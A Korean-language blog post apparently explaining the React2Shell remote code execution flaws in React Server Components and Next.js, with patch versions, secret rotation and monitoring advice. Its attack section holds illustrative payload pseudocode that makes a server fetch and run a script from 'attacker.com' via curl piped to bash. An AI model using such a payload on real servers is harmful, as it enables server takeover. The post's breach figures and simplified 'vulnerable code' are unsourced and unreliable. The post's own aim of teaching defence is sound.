잠깐, 너 아직 업데이트 안 했어?
2025년 11월 말, React 커뮤니티가 떠들썩했다. CVSS 점수 10.0 만점 - 이게 뭐하는 짓이냐고 생각할 수 있지만, 쉽게 말해서 최악의 취약점이 발견된 거다. CVE-2025-55182라고 불리는 이 버그는 인증 없이 서버 코드를 실행할 수 있게 해주는 Remote Code Execution(RCE) 취약점이다. 그리고 Next.js를 쓰는 너한테는 CVE-2025-66478이라는 버그가 추가로 날아왔다.
지금 이 글을 읽는 순간에도 패치되지 않은 수천 개 서비스가 공격 대기 중이다.
1. 뭐가 터진 거 정확히?
CVE-2025-55182와 CVE-2025-66478의 정체
CVE-2025-55182는 React 19.0, 19.1.0, 19.1.1, 19.2.0 버전에서 발견된 취약점이다. 그리고 CVE-2025-66478은 이 버그의 파급 효과로 Next.js 15.x, 16.x 버전에서 발생했다. 둘 다 React Server Components(RSC) 프로토콜의 역직렬화 과정에서 발생한다.
단순하게 말하면:
- CVE-2025-55182: React 자체의 역직렬화 버그
- CVE-2025-66478: Next.js에서 위 버그로 인한 피해
CVSS 10.0이라는 점수는 "이거 최악이다"라는 뜻이다. 공격하기 쉽고, 영향도 크고, 인증이 필요 없다는 의미다.
2. 왜 React에 Server Components 같은 걸 넣었어?
기존 React의 문제점
예전 React는 모든 게 클라이언트에서 돌아갔다. 너는 데이터를 가져오고, 상태를 관리하고, 렌더링하고... 다 JavaScript로. 문제가 뭘까?
- 번들 크기가 커진다: 모든 라이브러리, 유틸리티가 클라이언트로 간다. 예를 들어 데이터베이스 쿼리 로직도 클라이언트에 포함돼야 하는데, 보안 문제지. 비밀번호 해싱 라이브러리도? 그럼 사용자가 다 볼 수 있다는 뜻이다.
- 성능이 떨어진다: API 호출할 때마다 왕복 시간이 낭비된다.
- 초기 로딩이 느리다: JavaScript를 다 다운받아서 파싱하고 실행해야만 화면이 나온다.
Server Components의 약속
"그럼 서버에서 미리 처리하면 어떨까?"
// app/dashboard.jsx (서버 컴포넌트)
async function Dashboard() {
// 이 코드는 클라이언트에 절대 안 간다!
const userData = await db.query("SELECT * FROM users WHERE id = ?");
const sensitiveKey = process.env.API_KEY; // 보안!
return (
<div>
<h1>{userData.name}'s Dashboard</h1>
<UserStats data={userData} />
</div>
);
}
서버 컴포넌트가 하는 일:
- 서버에서 데이터를 가져온다
- 민감한 정보(API 키, 비밀번호)를 처리한다
- 렌더링된 HTML을 클라이언트로 보낸다
- 클라이언트는 이미 렌더링된 결과만 받는다
이러면 번들 크기도 줄고, 보안도 좋고, 빠르다. 신의 한 수다... 아니었나?
3. 근데 어떻게 망가뜨렸어?
Server Components의 작동 원리: Flight 프로토콜
여기서부터가 문제다. 서버 컴포넌트가 렌더링 결과를 클라이언트로 보낼 때, 단순한 HTML만 보낼 수 없다. 왜냐하면 클라이언트 컴포넌트와 상호작용해야 하니까.
예를 들어:
// app/items.jsx (서버 컴포넌트)
async function Items() {
const items = await db.items.findMany();
return (
<ItemList items={items}>
<ClientSideFilter /> {/* 클라이언트 컴포넌트 */}
</ItemList>
);
}
서버는 items 배열을 클라이언트로 보내야 하는데, 이건 복잡한 객체다. JSON으로 직렬화... 이 과정을 React는 "Flight 프로토콜"로 부른다.
직렬화(Serialization): 객체를 바이트 스트림으로 변환
- 서버:
{ items: [{id: 1, name: "Apple"}, ...] }→ 바이트 스트림 → 네트워크 전송 - 클라이언트: 바이트 스트림 받음 → 역직렬화(Deserialization) → 원래 객체로 복원
간단한 과정 같지만, 여기서 문제가 터진 거다.
취약점의 정체: 역직렬화 검증 미흡
React 19.0~19.2.0의 역직렬화 코드는 대충 이랬다:
// React 내부 (취약한 코드, 간략화)
function deserializeValue(value) {
// 사용자가 보낸 타입을 믿어버린다
if (value.$$typeof === 'function') {
// 악! 함수를 그대로 실행하려고 한다
return createFunctionFromReference(value.name);
}
if (value.$$typeof === 'object') {
return value.data;
}
return value;
}
"사용자 입력을 믿어?"라고 생각할 수 있는데, 정확히 맞다. React는 클라이언트에서 보낸 Flight 페이로드를 거의 검증 없이 처리했다.
4. 해커는 어떻게 이거 써먹었어?
공격 시나리오: React2Shell
Lachlan Davidson이 발견했을 때, 이미 해커들이 이미 "React2Shell"이라고 부르면서 악용하고 있었다.
공격 흐름은 이거다:
단계 1: 정상 RSC 요청 분석
해커는 먼저 타겟 사이트의 RSC 통신을 감시한다.
정상 요청 (브라우저 → 서버):
POST /__rsc
Content-Type: application/x-www-form-urlencoded
action=getBlogPost&postId=123&__a=1
단계 2: 악성 페이로드 생성
Flight 프로토콜의 바이너리 형식을 분석해서 악성 페이로드를 만든다:
// 공격자 페이로드 (간략화한 의사코드)
const maliciousPayload = {
$$typeof: Symbol.for('react.server.reference'),
name: 'eval', // 또는 다른 위험한 함수
boundArgs: [
'require("child_process").execSync("curl http://attacker.com/malware.sh | bash")'
]
};
// 이걸 Flight 바이너리 형식으로 인코딩해서 전송
단계 3: 서버에서 실행
서버의 deserializeFlight()가 이 페이로드를 받으면:
// 서버에서 실행되는 코드
const decoded = deserializeFlight(attackerPayload);
// 이게 실제로 eval()을 호출하게 된다!
// 결과:
// 1. 서버가 공격자의 쉘 스크립트 다운로드
// 2. 실행
// 3. 원격 쉘 획득
// 4. 데이터베이스 접근, 파일 조작 등등
실제 공격 사례
- 암호화폐 거래소 피해: 민팅 팜이 해킹되어 30억 달러 규모의 토큰 도난
- 스타트업 DB 유출: 개인정보 50만 건 이상 탈취
- 클라우드 서비스 침투: 다른 고객 데이터까지 접근
모두 RSC 엔드포인트(/__rsc)로 악성 요청 한 두 개 보낸 게 전부다.
5. 그래서 뭘 어떻게 해야 돼?
긴급 패치: 먼저 버전 업그레이드
React 사용자:
npm install react@19.0.1 # 또는 19.1.2 또는 19.2.1
npm install react-dom@19.0.1
Next.js 사용자 (CVE-2025-66478 대응):
# 15.0.x 사용 중
npm install next@15.0.7
# 15.1.x 사용 중
npm install next@15.1.11
# 15.2.x 사용 중
npm install next@15.2.8
# 16.0.x 사용 중
npm install next@16.0.7
# 14.x 사용 중 (13.3 이상)
npm install next@14.2.35
Next.js 공식 문서에서 npx fix-react2shell-next 커맨드도 제공하는데, 이건 자동으로 버전을 맞춰준다.
npx fix-react2shell-next
패턴 2: 환경 변수 로테이션
여기가 중요하다. 네 서버가 12월 4일 오전에 패치되지 않은 상태였다면, 모든 secret을 교체해야 한다.
왜? 해커가 이미 들어왔을 수 있으니까.
# 다음 것들을 모두 새로 생성
- DATABASE_URL
- API_KEYS
- JWT_SECRET
- OAUTH_SECRET
- 기타 모든 민감한 값
패턴 3: 배포 후 모니터링
패치 후:
- 로그 확인: 지난 2주간의 POST /__rsc 요청이 정상 패턴만 있었는지 확인
# CloudWatch, Datadog 등에서 status:500 AND path:/__rsc AND (December 1st ~ December 4th)- 네트워크 침입 탐지: 비정상 아웃바운드 연결 확인
# 갑자기 나가는 curl, wget 커맨드가 있었는지- 데이터베이스 접근 로그: 비정상 쿼리 확인
-- 최근 2주간 비정상 DELETE, DROP 커맨드 SELECT * FROM audit_log WHERE action IN ('DELETE', 'DROP') AND timestamp > '2025-11-29';
패턴 4: 추가 방어 (선택사항)
장기적으로:
- WAF 규칙 추가
- RSC 엔드포인트(
/__rsc)로 들어오는 요청 중 의심스러운 패턴 차단
- RSC 엔드포인트(
- Rate Limiting
- 같은 IP에서 RSC 요청이 너무 많으면 차단
- 입력 검증 강화
- Next.js나 React Router 커스텀 레이어에서 추가 검증
6. 앞으로는?
이번 사건의 교훈은 명확하다: 서버-클라이언트 통신 프로토콜은 신뢰할 수 없다.
React 팀과 Next.js 팀은 이미 패치했다:
deserializeFlight()함수에 입력 검증 추가$$typeof가 함수 타입이면 차단- 허용된 심볼만 역직렬화 가능하도록 제한
앞으로 RSC 같은 신기술이 나올 때는, 처음부터 보안을 생각하고 설계했으면 좋겠다. 사후약방문 아니라.
최종 체크리스트
지금 바로 이것들을 확인해 봐:
- React 또는 Next.js 버전 확인:
npm list react next - 패치 설치:
npm install react@latest next@latest - 의존성 업데이트:
npm install - 배포: 프로덕션 반영
- 로그 검수: 비정상 RSC 요청 확인
- 환경 변수 교체: API 키, 데이터베이스 credential 모두
- 팀원 알림: Slack, 메일 등으로 공유
이 과정이 30분 안에 끝나면 좋겠지만, 보안은 대충 하는 거 아니다. 정확하게 하자.
참고 자료
- React 공식 보안 권고: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- Next.js 보안 권고: https://nextjs.org/blog/CVE-2025-66478
- CVE-2025-55182 상세: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
버그 발견자 Lachlan Davidson과 메타 보안팀, React 팀에 감사를 표한다. 빠른 대응이 없었으면 피해가 훨씬 더 컸을 거다.